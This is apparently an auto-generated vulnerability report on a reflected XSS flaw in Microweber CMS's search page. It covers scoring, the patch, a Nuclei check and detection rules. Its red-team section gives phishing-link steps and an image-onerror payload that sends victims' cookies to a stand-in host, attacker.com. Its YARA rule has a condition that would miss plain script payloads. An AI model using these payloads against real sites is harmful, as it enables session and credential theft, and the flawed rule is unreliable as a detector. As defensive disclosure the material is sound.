CVE-2022-3242

Executive Summary

CVE-2022-3242 is a reflected Cross-Site Scripting (XSS) vulnerability in Microweber CMS versions prior to 1.3.2. The flaw exists in the search.php endpoint, where the keywords parameter is not properly sanitized or encoded before being reflected in the HTML response. An attacker can craft a malicious URL containing JavaScript code in the keywords parameter. When a victim clicks on such a link, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or unauthorized actions within the CMS.

The vulnerability is classified as medium severity with a CVSS v3.1 base score of 6.1. The EPSS score is 0.19791, indicating a moderate probability of exploitation in the wild. The vendor has released a patch in version 1.3.2, which properly sanitizes the keywords parameter.

Supply Chain & Package Security

Microweber is a PHP-based CMS distributed via GitHub and Composer. This vulnerability does not directly affect package managers like NPM, PyPI, Go, or Ruby. However, organizations using Microweber as a dependency in their PHP projects should ensure they are using version 1.3.2 or later. The patch commit is publicly available, and the fix involves proper output encoding of user-supplied input.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant impact in a CMS context, such as admin session theft or content manipulation.

Deep Dive & Mechanics

The vulnerability resides in the search.php file of Microweber CMS. The keywords parameter is taken directly from the HTTP GET request and reflected in the HTML output without proper sanitization or encoding. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: Lack of output encoding for user-supplied input in the search functionality.

Attack Flow:

1. An attacker crafts a malicious URL: http://target/search.php?keywords=<script>alert(document.cookie)</script>
2. The attacker sends this link to a victim via phishing email, social media, or other means.
3. The victim, authenticated to the Microweber CMS, clicks the link.
4. The server processes the request and reflects the keywords value in the HTML response without sanitization.
5. The victim's browser executes the injected JavaScript.
6. The script can steal session cookies, perform actions on behalf of the victim, or deface the site.

Technical Details:

• The vulnerable parameter is keywords in the GET request to search.php.
• The injected payload is reflected in the response body, typically within a <div> or <span> tag.
• The attack is reflected XSS, meaning the payload is not stored on the server but delivered via the URL.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.3.2):

// search.php (simplified)
$keywords = $_GET['keywords'];
echo "<div>Search results for: " . $keywords . "</div>";

Patched Code (version 1.3.2):

// search.php (simplified)
$keywords = htmlspecialchars($_GET['keywords'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $keywords . "</div>";

The patch uses htmlspecialchars() to encode special HTML characters, preventing script injection. The commit 68f0721571653db865a5fa01c7986642c82e919c implements this fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Microweber instance (version < 1.3.2)
• A web browser or tool like curl to craft requests

Exploitation Steps:

1. Identify a target running Microweber < 1.3.2.
2. Craft a malicious URL with a JavaScript payload:

   http://target/search.php?keywords=<script>alert(document.cookie)</script>
   

3. Send the link to a victim (e.g., via email).
4. When the victim clicks the link, the script executes, and you can capture cookies or perform actions.

Advanced Payload Example:

http://target/search.php?keywords=<img src=x onerror=this.src='http://attacker.com/steal?cookie='+document.cookie>

Using the Nuclei Template: The provided Nuclei template can be used to verify the vulnerability:

id: CVE-2022-3242

info:
  name: Microweber <1.3.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Code Injection in on search.php?keywords= GitHub repository microweber/microweber prior to 1.3.2.
  impact: |
    Attackers can craft malicious search URLs with JavaScript in the keywords parameter that executes when users access search results, potentially stealing session cookies, admin credentials, or performing unauthorized content modifications in Microweber CMS.
  remediation: |
    Update Microweber to version 1.3.2 or later that properly sanitizes and encodes the keywords parameter in search.php.
  reference:
    - https://huntr.dev/bounties/3e6b218a-a5a6-40d9-9f7e-5ab0c6214faf/
    - https://www.tenable.com/cve/CVE-2022-3242
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3242
    - https://github.com/microweber/microweber/commit/68f0721571653db865a5fa01c7986642c82e919c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3242
    cwe-id: CWE-79,CWE-94
    epss-score: 0.19791
    epss-percentile: 0.95463
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,huntr,xss,microweber,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>") && contains(tolower(body), "microweber")'
        condition: and

Run the template with:

nuclei -t CVE-2022-3242.yaml -u http://target

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /search.php with suspicious keywords parameters containing <script>, <img>, or other HTML tags.
• Use WAF rules to block requests with JavaScript in the keywords parameter.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search for URLs in logs containing search.php?keywords= followed by encoded HTML/JavaScript.
• Look for anomalous spikes in requests to search.php from a single IP.

Response:

• If exploitation is detected, isolate the affected server and review logs for compromised sessions.
• Force password resets for all users.
• Apply the patch immediately.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /search.php with keywords parameter containing <script>, <img>, or other HTML tags.
  • Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).

• File IOCs:

  • Modified search.php file (if attacker gained write access).
  • Suspicious entries in web server access logs.

• Behavioral IOCs:

  • Unexpected JavaScript execution in the context of the Microweber CMS.
  • Unauthorized content changes or user account modifications.

Detection Engineering

YARA Rule

rule CVE_2022_3242_Microweber_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2022-3242 in web server logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-3242"
    strings:
        $search_php = "search.php?keywords=" nocase
        $script_tag = /<script[^>]*>/i
        $img_tag = /<img[^>]*>/i
        $onerror = /onerror\s*=/i
        $onload = /onload\s*=/i
    condition:
        $search_php and ($script_tag or $img_tag) and ($onerror or $onload)
}

Sigma Rule

title: CVE-2022-3242 Microweber XSS Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Microweber search.php with malicious keywords parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3242
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "search.php?keywords="
        cs-uri-query|contains|all:
            - "<script"
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (unlikely)
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-3242 Microweber XSS Exploitation Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/search.php"; http_uri; content:"keywords="; http_uri; pcre:"/<script[^>]*>.*alert\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Microweber to version 1.3.2 or later. The fix is included in commit 68f0721571653db865a5fa01c7986642c82e919c.
2. WAF Rules: Deploy web application firewall rules to block requests containing <script> or other HTML tags in the keywords parameter.
3. Input Validation: Implement server-side validation to reject or sanitize input containing HTML/JavaScript.

Long-term Measures:

• CSP Header: Add Content Security Policy headers to restrict script execution.
• Security Training: Educate developers on secure coding practices, especially output encoding.
• Regular Audits: Conduct periodic security reviews of custom code and third-party components.

Workaround (if patching is not immediately possible):

• Disable the search functionality temporarily.
• Use a reverse proxy to sanitize the keywords parameter before it reaches the application.

Report generated by Valters IT DevSecOps & CTI Framework

{/* [Security Hash: 0980611C6C41B44759909105] */}